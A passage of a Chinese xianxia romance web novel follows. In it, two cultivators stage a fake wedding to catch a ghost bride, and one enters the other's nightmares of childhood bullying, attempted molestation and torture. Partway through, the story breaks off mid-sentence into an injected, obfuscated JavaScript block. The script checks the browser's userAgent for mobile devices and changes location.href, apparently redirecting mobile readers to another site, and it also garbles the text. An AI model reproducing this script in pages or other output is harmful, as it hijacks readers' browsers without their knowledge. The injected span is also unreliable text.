任大夫摊开家伙事儿,一边在她嘴里缝缝补补,一边唠唠叨叨:“你们这些小姑娘啊,涂脂抹粉花一整天都不嫌烦,来修个牙就舍不得半刻钟,是吧?你说你这牙但凡早点儿来找我,还至于死的这么惨吗?这位少侠,你往那边挪挪,挡我光了,不至于的吧这么难舍难分,就看个牙的功夫还非得手拉着手肩并着肩吗?哎,少侠你手上怎么冒红光啦?” 辞盈连忙抓住钟离渊的手不许他乱动。这大夫上辈子大概是个媒婆,年纪轻轻说话老气横秋的还磨叽起来没完没了。 耐着性子忍了许久,终于听到任大夫满意道:“好了,这回包你起码半年不疼了。” “多久?”辞盈有点儿怀疑自己的耳朵。 “半年,回家乐去吧。” 辞盈惊愕:“为什么?那半年之后呢?我买个二手手机还质保一年呢!” “什么鸡?”任大夫选择性失聪。 辞盈深呼出一口气。 不能暴躁,不能暴躁。要是被钟离渊看出她生气,门口那被风吹得叮当响的木牌,怕是立马要换成任大夫的脑袋。 “亲,半年,你收我一锭银子?你自己听听,这像话吗?” 任大夫低头收拾东西:“你知道我给你看牙冒多大风险吗?要是让飞鹰堂知道了,这锭银子就是我的买命钱喽!” 辞盈噎了一下,心想也是。换个人早就关门保命了,这任大夫虽说医德医术看着不咋地,但胜在够贪财,什么钱都敢挣。 正说 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小厮忙道:“二位要是有空,能不能一道来家中看看我们少爷?我家老爷是褚家庄庄主,说是少爷的症状邪门得很,最好能有修仙的道长给瞧瞧。若二位能救,我家老爷必有重谢。” 辞盈询问地看向钟离渊,眼里带着讨好的笑意。 钟离渊嘴里叼着一根不知道从哪顺来的草药根,懒洋洋倚着门框:“没兴趣。” “……” 新婚,中邪,她大老远到这不就是为了这个嘛!辞盈蹙眉噘嘴,摆出一副泫然欲泣的表情,来回拉扯钟离渊的袖口:“求求你了嘛。” 倘若现在摆一张镜子在她面前,恐怕她立刻就要起一身鸡皮疙瘩。 钟离渊沉默了三秒,一声不吭地转过身,走得比驴还快。 靠,他还真吃这一套?! 庄主的宅子就是不一样,偌大的三进院跟迷宫似的,转得人眼晕。碧瓦朱檐,曲径通幽,青石板上的红毡还没撤,窗前和廊檐外摆满了花卉,内院东厢房门上贴着红艳艳的喜字。 门外站着两个垂头丧气的下人,比霜打的茄子还蔫,见小厮带了人回来,这才打起精神进屋通报,很快便迎出一个敦实富态的男人,个子不高,岁数不小,满脸焦急地握住任大夫的手道:“上次犬子急病,多亏了任大夫妙手,这次还请您千万救命啊!” 任大夫弱不禁风的手腕差点儿给他摇折了,点头道:“让我先看看人。” 男人急得焦头烂额,这才注意到后面还站着俩大活人:“这两位是……” “在下辞盈,学过几年仙术道法,路过此处听闻褚公子有恙,便想来看看可有什么能帮得上的,也好略尽绵力。”辞盈客气了一番,又向旁边一伸手,“这位是我……弟弟——辞职。” 除了之前在天罡塔下看热闹的,这世上没多少人见过钟离渊长什么模样。可是,拜他爹所赐,但凡对这些江湖门派有些了解的人都听过钟离渊三个字。所以他大可以顶着这张人畜无害的脸满世界晃,却不能用真名示人。 胡编乱造完,她心虚地看了钟离渊一眼,没骨气地露出个谄媚的笑,顺便确认他不会忽然暴走杀人。这祖宗一路上一言不发,倒叫人心里没底,不知道在打什么注意。 褚庄主一抱拳:“道长急公好义,褚某深谢道长仗义相助!快请进!” 等到辞盈进去,任大夫已经对着床上形如槁木的一对男女研究半天,难得收起了奸商庸医嘴脸,面色凝重地摇了摇头。 旁边哭肿了眼的妇人立即又嚎哭起来,朝着褚庄主的肩膀砸了两下:“我就说这时候不能结婚!你偏不信邪,说什么飞鹰堂的结婚都没事!我可怜的儿啊……” 辞盈走到床前仔细观察,两个年轻人皆是双目大睁面如死灰,表情惊悚绝望,像是看见了世上最恐怖的东西,一探鼻息却是呼吸均匀,与常人无异。 32. 风流小郎君 是失魂症没错了。 辞盈心念电转,抬眼看向褚庄主:“听闻庄中数对新人遭恶鬼吸干精气,化作干尸,此事当真?” 褚庄主急得额头冒汗:“谣言不实,老夫亲眼所见,那些人与犬子症状分毫不差!” 这么说来,倒与那错金博山炉无关了。 失魂症的诱因素来有三:一是夺舍,外物侵占肉身,人便失魂落魄举止怪异;二是诅咒,邪师作法摄魂,人就成了行尸走肉;三是邪祟,妖魔鬼怪盗走魂魄,人便陷入沉睡不醒。 眼前这两人肉身完好,气息平稳,偏生没了思考与行动之力,活像两具精致的人偶——这般模样,十有八九是邪魔作祟。 可为何这邪物偏对新人下手?难不成是什么盖头红烛成了精? 任大夫大笔一挥,嗖嗖嗖写了一张方子递给褚庄主,叮嘱道:“一日两次,还需命人每日为他们活动筋骨肌肉。” 褚庄主眼中陡然燃起希望:“我儿还有救?” “这药只能保他们肉身不腐,形容不枯。若要救人——”任大夫眼角扫过辞盈,无谓地耸耸肩,“邪祟之事我可管不了,别说妖魔,我连大门口的也打不过。庄主还是另请高明吧。” 话音落,人比黄花瘦的任大夫甩起破布袋搭在肩上,骑着矮毛驴一步三颠,慢悠悠淡出众人视线。 辞盈追问:“方才听尊夫人说,飞鹰堂婚事皆平安无事,这话何解?” 褚庄主面上腾起怒色,冷哼一声:“飞鹰堂本是末流,自攀上水云剑宗,便越发横行霸道。如今全镇唯有他家婚事安然无恙,定是他们搞的鬼!” 辞盈眉头一皱,抿紧了唇。 那个被烧成“烤鸭”的少主竟没说谎! 可游师兄为何要与声名狼藉的飞鹰堂勾结?师尊是否知晓?水云剑宗对飞鹰堂的恶行,就这般放任不管? 无数疑窦在她心头翻涌,竟一时忘了眼前事,只想着即刻回水云剑宗,向师尊问个水落石出。 “道长……”褚庄主见她神色恍惚,只当她怕了飞鹰堂的势力,叹了口窝囊气,又道,“只要能治好我儿,其他的我可以不多追究,也一定会替道长保密,绝不泄露半个字。” “啊,你误会了。”辞盈一时语塞。 若是从前,她大可以掏出罗盘法器尽力一查,但是眼下水云剑宗跟飞鹰堂沾了边,估计在常山也没什么好名声。她若是现在掏出水云剑宗的法器,就算骨头硬不怕被人打出去,也很难再取信于人,继续查案了。 “这有何难。” 一直倚在门口晒太阳逗狗的钟离渊拍拍手上的狗毛,迤迤然走到她身边:“我倒有个法子。” 辞盈斜眼看他,直觉他没憋什么好话。 褚庄主喜出望外:“道长请讲!” 钟离渊不紧不慢道:“很简单,再办一次大婚之礼,把那东西引出来便是。” 褚庄主面露难色:“办婚事容易,只是如今情况,哪个姑娘还敢穿嫁衣?” 辞盈心头忽然冒出一种不详的预感。 钟离渊顽童似地歪着身子凑到她面前,漂亮的狐狸眼眨了眨:“为民除害,阿姐自然是敢的。” 褚庄主噢了一声,又问:“那新郎……” 钟离渊低头整了整衣襟,若无其事道:“大义当前,我就勉为其难,把我阿姐娶了吧。” 整个院子霎时鸦雀无声。 半晌,褚庄主用尽毕生人情世故,才挤出个得体的笑容,拱手赞叹:“二位道长舍身取义,实在令人钦佩,吾辈楷模!那邪物最喜美艳新娘,凡是绝色女子必遭其害,道长……” 钟离渊故作讶异:“这么说,我阿姐倒能安然过夜了。” 辞盈忍无可忍,抬脚便踹,红衣少年早轻飘飘像根羽毛似的闪开了。 房檐廊角的红绸还没来得及摘下,褚庄主又命人连夜赶制嫁衣、布置婚房。 次日黄昏,炮仗震天,大红灯笼开路。钟离渊身着大红喜服,腰杆挺拔,满面春风地骑着高头大马在前引路;后头三匹骏马拉着花轿,窈窕新娘端坐在轿中。 路旁行人神色各异,话题基本围绕褚庄主连办两天婚礼抽的是什么风,前头骑马的俏郎君到底是哪儿来的,以及谁家新娘这么不怕死。 卖包子的妇人笑道:“要是能嫁这么风流的郎君,我也不怕死!” 旁边的男人使劲一捏,差点把包子捏成馅饼,讥讽道:“风流顶什么用?看他那细皮嫩肉的样,扛不住我一拳头。” 行完大礼,走完流程,辞盈跨过门槛,低着头,迈着小碎步蹭进婚房——引路嬷嬷说,新娘不能说话,不能走太快,不能迈大步,不能站太直……总之没一样让她舒坦的。 好不容易一屁股坐到婚床上,又被桂圆硌得生疼。她伸手想扯盖头,却怕假结婚露馅儿,只好做戏做全套,耐着性子等着他来掀。 两人本就没有亲友,褚家人在外头假意热闹了一阵,便赶紧放钟离渊回房办正事。 辞盈听见他栓门的声音,感觉他走到自己面前,却迟迟没有动作,不由着急道:“你快点啊,闷死了。” 钟离渊没动手,红盖头却自己飞落到地上,露出她盈盈秋水般的双眸。 绛唇映着烛光,肤若凝脂,灿若春华,皎如秋月。 钟离渊浅棕色的瞳孔骤然一缩,喉结不自觉地滚动了一下。 这是谁家的新娘,美得这般惊心动魄。 辞盈是修道之人,每日练剑画符早已习惯,对梳妆打扮毫无心思,向来怎么方便打架怎么来。从前在水云剑宗,有次练得热了,她直接撸起袖子、卷起裤腿,活像要下地插秧,一众师兄弟惊掉了下巴,气得墨让尘罚她面壁思过了半个月。 此刻一身大红嫁衣配上新娘妆,竟美得让人移不开眼,以至于钟离渊半天没敢说话,生怕一开口就暴露了心底的悸动,在她面前显得粗鄙。 红烛摇曳,铜镜映着鬓边花饰。 他在木凳上静静坐着,等那颗上蹿下跳的心慢慢平复。 辞盈也坐着,不时从床上抓颗红枣嚼。 这枣太干,还有点儿硬。 就这么坐了许久,辞盈手里攒了一把枣核,终于忍不住开口:“我想喝水。” 钟离渊依旧没说话,起身倒了杯水递给她,顺势坐到床边,含着笑意望着她。 辞盈喝完水抹了抹嘴,纳闷道:“再坐下去天都要亮了,怎么一点动静都没有?” 钟离渊道:“定是咱们演得太假了,哪有洞房花烛夜什么都不干,光坐着等天亮的。” 辞盈有种上了贼船的感觉,试探着问:“那你想怎样?” 他笑意更深,微微探身,嘴唇贴着她耳边轻声道:“我想怎样,阿姐不知道吗?” 辞盈被他呼出的热气吹得一激灵——这家伙该不会有什么□□的癖好吧?!她不自在地扭了扭身子:“眼下这情况,别乱叫了,听着怪不道德的。” 钟离渊无声地笑了笑,坐直身子,手臂搭在曲起的长腿上,悠哉地倚着墙,似乎打算放过她。 辞盈松了一口气,心里却又仿佛有些失望,偷偷打量他,侧脸竟比正脸还要好看,像从画里走出来的翩翩少年。 她忽然想起初见时,他满身伤痕奄奄一息,转瞬间又杀气腾腾冷若冰霜,再后来就成了精分少年,时而柔情似水,时而暴戾恣睢,让人毫无安全感。 夜阑人静,温柔的烛火为他镀上一层柔和的金芒。这样的钟离渊,是她从未见过的,仿佛从未经受过三百年的囚禁与磨砺,只是个未谙世事、潇洒风流的少年郎。 三百年,该有多寂寞啊。辞盈试着代入了一下,觉得别说杀人,吃人都有可能。 她正对着钟离渊的侧颜发愣,蓦地,他转头对上她的目光,笑意渐浓,温柔又带点戏谑:“好看吗?要不要坐过来,看清楚点?” 辞盈的心剧烈地扑通起来,像瓜田里偷吃被抓的猹,窘迫地低下头,抓起床上的花生一通乱掰。 这心怎么还跳起来没完没了了?出息呢?! 看着他处变不惊、活像千年老狐狸的淡定模样,辞盈忽然反应过来:“我知道问题出在哪了。” “嗯?” “因为你在这。”辞盈顿悟道,“哪个妖魔鬼怪感应到你这么强的气 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不是,大哥,你道行这么牛逼怎么酒量一杯倒啊?! 这货的睫毛也太长了吧,头发也柔顺,皮肤白里透红,让人忍不住想上手蹂躏一番。 辞盈捏着他的腮帮来回晃,又用清水在他脸上拍了拍,毫无反应,果然跟死了没两样。谁能想到杀人不眨眼的大魔王就在她手里任意揉搓,像块没脾气的面团。 她正捧着钟离渊的脸玩得兴起,忽然听见一串阴恻恻的女子笑声,令人毛骨悚然。 来了! 骤然间阴风四起,桌上的果盘被掀翻,瓜果滚落一地。红烛火光剧烈颤抖两下,倏地熄灭在逼仄的黑暗里。 笑声渐弱,又化作尖厉凄惨的哭喊,忽远忽近。时而悬在头顶,时而飘在耳畔,辨不清方位,却仿佛无处不在。 辞盈掌心相对,手指微张,手腕轻翻,低喝一声:“天地玄宗,万鬼现形!” 果然,角落里贴着墙立着个穿鲜红喜服的鬼新娘。披散的长发遮住半张惨白的脸,露出来的一只眼睛歪歪扭扭,流下一行触目惊心的血泪——跟辞盈想象中的女鬼形象分毫不差,毫无新意。 辞盈掏出乾坤袋里的葫芦,正欲念咒收鬼,忽然脚下银光频闪。她心头一凛,察觉不对——竟是水云剑宗的迷魂阵! 恶鬼怎么会设此阵?! 来不及细想,一阵剧烈的头晕目眩袭来,她眼前一黑,彻底失去了意识。 不知在混沌中走了多久,辞盈用力揉了揉眼睛,模糊的视线渐渐清晰。只见一个男人将酒瓶猛地掼在地上,碎裂的玻璃渣溅满狭窄的小屋。她迅速闭眼抬手遮挡,才没被划伤。 鼻青脸肿的女人骂了一句,抓起旧皮包夺门而逃,连一眼都没看女儿。 破木箱拼的衣柜,卷边的劣质塑料地毯,积满尘垢的矮方桌——这熟悉的出租屋……她是穿越回来了?可为什么偏偏回到这里? 辞盈整个人都懵了,低头看自己的身体——果然是个细胳膊细腿的小学生,活像个营养不良的非洲难民。 她低声骂了一句。 这是她这辈子最不愿回首的记忆,没有之一。 父亲每天喝得醉醺醺,稍不顺心就抬手打人,打跑了媳妇就打女儿,出门还打邻居路人,总觉得自己天下无敌。直到有一天惹到硬茬,被人开了瓢,才彻底结束了这斗鸡般的一生。 现在,他正翘着二郎腿窝在木椅子里,对着空气指天怨地骂骂咧咧,唾沫星子飞出两尺,中场休息时候就着剩下的半盘花生米灌酒,再打一个臭味熏天的酒嗝,然后比比划划,把满室空气都搅成一团浑噩的垃圾。 “不许哭!”男人扯着嗓子怒吼完,却发现女儿这次居然没哭,反而异常平静地望着自己,冷漠的目光中甚至还带了些不屑。 他心里的火直窜上脑门,一巴掌扇过去骂道:“你他妈看什么!信不信我打死你?” 辞盈灵巧地一猫腰躲开,心里冷笑——我当然信,你又不是没这么干过。 33. 前尘 她曾因为一句话说错被他打进医院缝针,也曾被他酗酒后随手抄起凳子打断肋骨。眼前这个血缘上的父亲,对她可从来没心慈手软过。 毫无征兆地,她以不属于她年龄的迅捷向前一步,早攥在手里的碎玻璃片精准抵上男人喉间,细密血珠瞬间沁出。 本来还摇摇晃晃的男人醉意刹那间散了大半,又惊又怒地吼道:“小兔崽子……你干什么!” 这副身体太弱了,举着玻璃片都嫌胳膊酸,否则她定要将眼前的男人按在地上,打到他叫爷爷。 她手上力道加重,语气淡漠:“从现在开始,你只要再碰我一下,我保证让你脑袋开花。有种你就睁着眼睛睡觉,否则……” 剧烈的刺痛仿佛要将他整个脖子豁开,男人终于意识到危险,哆哆嗦嗦地求饶:“我知道了,你快松手!” 辞盈轻蔑地望着他:“给你交个实底,就算咱俩正大光明的对打,你也不是我的对手。更何况——”她冷笑一声,“我未成年,杀你不用偿命。” 一言既出,她忽然如释重负,仿佛万里冰封的长河被横刀劈开一道裂痕。那些尘封在记忆深处最不愿触碰的伤痛和恐惧,都在这一刻倾泻而出。 她能打能砍,能躲能逃,足以护住自己,再不是那个只会缩在墙角发抖的少女。她可以挣脱这牢笼,走到阳光下,看花开,闻草香,顺着自己的心意,好好展开人生。 天地之大,还会有人偏爱她,信任她,愿意拼了命护着她。 意念一动,眼前景象忽然变得虚浮。父亲扭曲的脸像水汽般蒸发殆尽,取而代之的,是披头散发的鬼新娘,满脸惊愕地瞪着她:“你怎么……怎么……” “怎么还醒着?”辞盈嗤笑一声,“这是水云剑宗的迷魂阵,我会设,自然就解得开。不过我倒想问一句,你这阵法,是跟谁学的?” 女鬼听见“水云剑宗”四个字,像被雷劈中一般,半天说不出话,怯怯地往后缩了一步。 果然有问题。 辞盈目光炯炯地逼视着女鬼,摇了摇手里的葫芦:“我的耐心有限,如果你说不出个让我满意的答案,留着你也就没用了,不如现在就把你收进葫芦里化了!” “求道长放我一条生路!” 女鬼“扑通”一声跪在地上磕头,辞盈这辈子还没被鬼跪过,顿时有些尴尬,想扶又觉得不妥,只好故作淡定地学着老道士的模样一甩袖子:“起来说话!” 女鬼哭哭啼啼地诉起苦来。她本是飞鹰堂堂主刘潜不受宠的庶女,机缘巧合认识了游乘风,心生爱慕便委身于他。刘潜巴不得攀上水云剑宗这棵大树,对这桩事自然乐见其成,便把女儿安置妥当,方便游乘风时常来密会。 可好景不长,游乘风起初三五日来一次,后来变成半个月一趟,再往后两三个月才露回面,态度也远不如从前殷勤。刘潜的态度也就随之改变,对女儿动辄打骂,怪她没本事留住游乘风。 辞盈下巴几乎要掉到地上,脑海里蹦出游乘风那张文质彬彬的君子脸,怎么也看不出渣男相啊。她托着下巴说:“怪不得飞鹰堂自己人不被害呢。所以呢?你一时想不开就上吊了?” 女鬼摇摇头,声泪俱下:“我想不开,就决定去水云剑宗找他。谁知他听我说完,怕我坏了他的名声,竟将我关在房中放火烧死……” 这一惊非同小可,辞盈不自觉握紧了拳头,又追问:“冤有头债有主,你既已经成了鬼,为何不去水云剑宗告状,反倒在这枉害无辜的性命?” “我也不想的……我那时腹中胎儿已成形,却被活活烧死……”女鬼眼睛里射出恨毒的光,狠狠骂道,“游乘风这个丧尽天良的畜生,他将我孩儿的胎灵捉走,逼我为他做事,否则便要叫我的孩子神魂具灭,那可是他的亲生骨肉啊!他怎么能如此狠心!” 人心竟能恶毒至此。辞盈胃里涌起一阵恶心,强压了骂人的冲动:“他逼你做什么?杀人吗?” 说到这儿,她才后知后觉发现,桌上铜镜里竟始终泛着诡异的漩涡,层层叠叠中掺着幽微绿光,像一张极其危险又贪婪的血盆大口,跃跃欲试要将一切吞噬进无边黑暗里。 “这是……”辞盈盯着铜镜,忽然道,“我懂了。” “你是因爱生恨,又终生未嫁的恶鬼,所以专挑甜蜜的新人下手。但被害人是谁,对他来说其实根本不重要,他想要的……”她略一思索,脱口而出,“只是怨气和冤魂!” “你负责用法阵迷晕新人,让他们陷入此生最恐惧、最不堪回首的回忆幻境,看着他们在无助和绝望中痛苦挣扎。再用这铜镜的法力,把充满仇恨怨气的灵魂吸走。” 女鬼哭道:“我也不知道游乘风要这些怨灵做什么,他只教了我这迷魂阵和用铜镜启动通道的法子,都是他逼我的,我没办法啊……” 游乘风到底为什么要收集怨灵?飞鹰堂这个刽子手是他随便选的,还是另有缘由?那些被吸走的怨灵去了哪里?若是藏在水云剑宗,不可能没人感应到,难道还有别人帮他窝藏? 辞盈感觉脑袋里像个乱糟糟的毛线团,越捋越纠缠不清,烦躁得很。对面女鬼却好像蒙了几辈子的冤屈无处申诉,越哭越来劲,居然嚎啕起来。 “闭嘴。”辞盈定了定心神,道,“这件事我会立刻回水云剑宗禀明师尊,他一定会为你做主。在此期间,你绝不可以再害人,能做到吗?” 女鬼低着头趴在地上,长发遮着脸,活像从井里爬出来的贞子,抽抽搭搭地应了。 辞盈松了口气,一屁股坐回床上, 总觉得自己好像忘了点什么,到底是什么呢? 目光缓缓扫过铜镜的漩涡……蓦地,她终于想起来了,回头一看,钟离渊果然还像死尸似的躺在床上,乍一看和昨天那对植物新人没两样。 他双目紧闭,方才还红润的脸色变得惨白,眉间微蹙,像是正陷在噩梦里挣脱不出。 辞盈看向女鬼:“你倒是把他叫醒啊?” 女鬼:“我只会迷,不会叫。” 辞盈:“……” 除掉大魔头的机会就这么砸到头上了?可她只有攒够三千功德的目标,没什么替天行道的志向啊。 辞盈对着钟离渊愣了一分钟,两只爪子僵在空中,横竖下不去手,发愁怎么摆弄才能把这祖宗叫醒。 不是说好了天下第一吗?怎么一杯酒就醉得任人宰割了?作为人人得而诛之的大坏蛋,他有没有点儿基本的危机意识啊? 半晌,她不怎么聪明的脑袋终于灵光一闪,想起上次钟离渊给她渡了一缕神魂。或许可以以此为媒介,进入他灵识里把他叫醒? 进入对方灵识这种事太过私密,而且十分困难,通常只有修为深厚的人才能影响、控制修为低的。像钟离渊这种级别的大佬,被菜鸡反向入侵的事简直是亘古奇谈。 不过,管它呢。 辞盈扳过他的脑袋,他的身体已经因为迷魂阵和噩梦的影响开始发生变化,手脚冰凉,连耳朵也是凉的。 必须抓紧时间了。 她屏住呼吸抵住他的额头,闭上眼睛开始努力。 准确地说,她还没机会努力。 开始尝试的一瞬间,她便畅通无阻地成功了。只是这个成功跟她想象的有点儿出入,并不是她预想中的打破结界,从天而降,披荆斩棘唤醒正主。 她就像块飞向巨大磁石的小螺丝钉,毫不费力地,甚至是被迫地被强大到不容置疑的力量“嗖”地一下吸了进去,哪怕她想要说不也没用。 然后吧唧一声掉在地上。 辞盈揉揉腿爬起来,迷茫地环顾四周。草木繁盛,脚下的阶梯路面平整,像是一座供着香火的小山。 对了,好像听江鹤川说过,钟离渊小时候在莲花山长大,叫什么观来着。 梦境环境受主人情绪影响,看得出钟离渊的这段回忆也并不愉快。天空压得很低,灰蒙蒙的,云与雾连成密不透风的阴霾,压得人喘不过气。她摸着雾气胡乱走了一段,抬头看见块金字牌匾:玉真观。 扒着门口往里望,三个穿斜襟短褂、戴混元巾的道士正杵着扫帚闲聊。 年轻的瘦高个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102820|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸晦气:“鬼天气眼看又要下雨,谁来都踩一脚泥,这地扫了也是白扫。” “这种天就该躺在榻上睡一天。”旁边稍年长的道士,耷拉着三角眼往角落斜了斜,不满地吆喝:“快点干活!我站得脚都酸了,就看你在那儿磨蹭!干活这么费劲,吃饭怎么不见你少吃一口?” 辞盈这才发现角落里有个单薄瘦削的身影,银发高高挽起,正蹲在墙边用抹布擦地,表情麻木地对道士的嘲讽充耳不闻。 “少说两句吧。”旁边的胖子笑得意味深长,“小心观主听见收拾你!” 耷拉眼却没听出弦外之音,啐了一口:“他爹杀了多少人?连那英雄无双的墨仙士夫妇都害死了,他还有脸在这儿修行?我要是他,早就一头撞死谢罪了!你以为他能是什么好东西?说不定哪天就给咱们玉真观惹出大祸!” 瘦高个赶紧附和:“前几天我还看见他抱着条蛇,吓死人了!从小我就觉得他不正常,哪有好人跟蛇这么亲近?你们记不记得,那年水云剑宗宗主带来个小修士,跟他差不多大,人家小小年纪就能挥剑斩蛇妖,那举止做派、那精气神,啧啧,将来肯定不一般。” “你说的是墨仙士的儿子吧!人家根正苗红,哪是这小畜生能比的……呸!小畜生,你敢拿抹布扔我!”耷拉眼被抹布糊了一脸,暴跳如雷地冲过去,给了少年一巴掌。 单薄的少年没躲,眼睛通红地挨了这一巴掌,却一动不动,一言不发,死死盯着对面的人,像是要把他生吞活剥了。 辞盈忽然听见身后传来沉稳的脚步声,赶紧闪身藏到一边。幸好雾气极重,五步之外只剩白茫茫一片。 很快,里面传来怯懦的声音:“观主,这小子干活偷懒,还拿抹布扔我,我就稍微教训了一下……” “啪”地一声,不知谁又挨了一耳光。 观主的声音不年轻,透着威严:“我说过不许再欺负他,如今都记住了吗?” “记住了!记住了!”小道士们诚惶诚恐地应着。 “阿渊,你跟我来。” 这时的钟离渊还是半大孩子模样,个头跟辞盈差不多,却更瘦,瘦得像张纸。白皙的脸蛋比三百年后更漂亮,少了几分凌厉杀气,多了几分稚嫩可爱,堪称惊艳。 观主领着钟离渊在前头走,辞盈从怀里摸出张隐身符往脑门上一贴,就在后头不远不近地跟着,心想这大概就是钟离渊的童年阴影吧,每天被一群臭道士霸凌,幸亏这老头对钟离渊还算不错,不然还不得被欺负死。 观主岁数虽然大,腿脚却利索,走得飞快,东绕西拐地通过一条狭窄的巷子,不知到了哪个偏僻的小院,“咣当”一声锁了院门。 辞盈心里奇怪,整个玉真观都是他的地盘,为何要做贼似的躲躲藏藏,难道这老道也跟墨让尘似的,要偷偷摸摸传功不成? 她轻松翻墙而过,鬼鬼祟祟地歪着身子,将耳朵贴在木门上偷听。 “阿渊,过来坐。”观主的声音听起来柔和不少,“他们又欺负你了?” 一片沉默。 “下次再有人欺负你,尽管告诉我,我给你做主。” 依然是无尽的沉默。 辞盈维持着偷听的姿势,脖子都要抽筋了,屋内却静得出奇。就在她刚准备站直了把拧劲儿的脖子掰回来的时候,终于又听见观主说:“把衣服脱了,我看看你伤在哪里。” 辞盈忍不住皱了眉。 虽然墨让尘上次大概也说过类似的话,但不知道为什么,从这老观主嘴里说出来就凭空多了些猥琐,让人听着就浑身不舒服。 大概是脸的原因? 辞盈正别扭着,又听观主道:“看你瘦的,我看着真心疼。阿渊,以后师父会好好疼你。” 不对不对,越听越不对了。 “你干什么!” 终于听见钟离渊开口,还没变声的嗓音稚气未脱,像个小姑娘。 “我帮你检查一下,别乱动!”一阵衣物窸窸窣窣,观主激动得声音都变了调。 我擦,这还有王法吗?! 34. 救美 辞盈只觉怒火直冲天灵盖,抬脚就要踹开门,把那猥亵孩童的老变态摁在地上揍成猪头。可还没等她动作,杀猪般的惨叫几乎要把房盖掀飞。 紧接着,一股灼人的热浪扑面而来,赤红的火光瞬间吞了整个小院。 来不及多想,拔腿就跑。 那火势凶得像条烈焰巨龙,眨眼间就吞噬了整座玉真观。歇斯底里的哀嚎响彻整座莲花山,惊得林间宿鸟扑棱棱飞起,黑压压一片遮了半边天。 死里逃生的辞盈站在观外大口喘着气,后脖颈还烫得发疼。她一边后怕,一边在心里把自己骂了千百遍——刚才但凡犹豫一下或者跑慢点儿,此刻已经烧成一把新鲜出炉热气腾腾滚烫的骨灰了。 她刚才在干什么?居然想去救钟离渊?! 辞盈发现自己最近果然是飘了,飘得有点儿找不着北。 钟离渊是何许人物?论战力要碾死她易如反掌,论意志力能独自在塔里熬三百年不发疯。这样的人,哪怕只是幼年形态,也轮不到她一个御剑飞行二里地就腿抽筋的菜鸡来救。 熊熊烈火席卷了整座莲花山,那些藏在暗处不为人知的肮脏龌龊,都在劈啪作响的火焰里化作了滚滚黑烟。 辞盈望着跳动的火舌,心想,原来玉真观是这样被烧的。 失去父母亲人,被霸凌,被猥亵。再次陷入这样恐惧的童年阴影里,此刻的他一定很难受。 辞盈心里忽然觉得不是滋味,像生吃了半筐地瓜,烧心得难受。 可是,大火烧了莲花山,按说已经大仇得报,为什么梦境还没结束? 不安像藤蔓缠上心头,辞盈这才想起找人。比起她那方小院,他的梦境大得像个真实世界,根本摸不着边。她下了莲花山,像只没头苍蝇似的四处打听,口干舌燥地走了一天一夜,正饥肠辘辘,终于撞见个眼熟的地方。 三百年前的逍遥山庄,竟就这般浮夸奢靡。连看大门的都穿得像个暴发户,下巴抬得能戳上天,见了辞盈就嚣张地嚷嚷:“看什么看!没事就滚远点!” 不知怎的,辞盈突然萌生出一种直觉——钟离渊一定在里面。 她又摸出一张隐身符,早知道出门时就多带几张,这玩意儿也太好用了。 隐了身形,她大摇大摆地进了庄。里面的布局和她住时没差多少,很容易就把各处摸了个遍,却连钟离渊的影子都没见着。 难道猜错了?那他能在哪儿? 辞盈找得身心疲惫,真希望现在也能喊一嗓子,他能像往常一样出现在眼前,笑盈盈望着自己。 正愣神时,游廊那头走来两个端果盘的小丫鬟,压低了声音嘀咕。 “前几日你瞧见没?庄主带回来个特漂亮的小男孩。这几日整个人都精神焕发,我从没见过庄主心情这么好。” 旁边那个看着才十一二岁的小丫鬟,天真地眨巴着眼:“我见了,是真好看。会不会是庄主喜欢,要认作义子呀?” 另一个丫鬟嗤笑一声:“咱们庄主连亲儿子都懒得瞅一眼,哪会稀罕什么义子?依我看,做小妾还差不多。” 小丫鬟惊得瞪圆了眼:“哪有男孩子做小妾的?” “男孩怎么啦,你见过哪个女孩有他那么漂亮的?要不是小妾,怎么能把庄主哄得那么高兴?” 辞盈心里咯噔一下,随即又安慰自己,不可能那么多变态都被钟离渊接二连三的碰上,他又不是自己,哪有那么倒霉。 两个丫鬟突然闭了嘴,恭顺地低着头贴墙站好,像是怕冲撞了什么大人物。 主院走出来个神采奕奕的男人,鹰钩鼻配着丹凤眼,鼻梁上一道刀疤看着格外狰狞,眼里满是算计,就算笑着也让人觉得阴森。他挥退下人,独自朝祠堂走去。 外人不会乱闯祠堂,这人定是逍遥山庄庄主李贽。辞盈赶紧跟了上去。 只见他穿着宝蓝色暗纹杭绸袍子,头上却簪了朵娇艳的海棠花,怎么看怎么别扭。辞盈心里顿时凉了半截,大概率这货取向有问题。 李贽穿过祠堂中厅直奔寝堂,辞盈心提到了嗓子眼,下意识摸了摸腰间佩剑,可寝堂里空无一人。她说不清是高兴还是失望,咬了咬嘴唇,又赶紧跟了上去。 李贽熟门熟路地在墙上一通操作,暗门吱呀翻转。辞盈连忙收臀含胸缩成个薄片,趁着空隙跟着钻了进去。 暗室里空气又闷又潮,石阶向下延伸,黑黢黢的像通往无底深渊。楼梯尽头转角,两个持刀侍卫见了李贽立刻低头行礼,其中一个汇报道:“庄主,道长在里头,都准备好了。” 一脚踏进真正的囚室,辞盈忽然站住,见了鬼似的僵在门口,不敢再往前走。 她怕离得太近,会看得太清。 囚室阴冷潮湿,墙上渗出的水珠偶尔滴落在火把上,火光便会微微颤动,正如那个被绑在墙上行刑的男孩。 两只手腕被筷子粗的铁钉钉死在墙上,腰间紧束铁环,锈迹斑驳的铁链从琵琶骨上生生穿过。 这场景如此熟悉,几乎与辞盈第一次见他的时候一模一样。 原来那天罡塔里的幻象不是他凭空捏造,而是刻在他记忆深处最不堪回首的往事。 钟离渊面前还站着个老道,手中捏着小而锋利的刀片,一下一下,不深不浅,精准割破钟离渊的手臂,前胸,腹部……所有位置都要豁得皮开肉绽,直到浑身上下没有一块完好的皮肤。 每划一刀,钟离渊的身子便控制不住地抖一下,浑身伤痕累累,冷汗混着血淌落,却愣是听不见他一声呻吟。 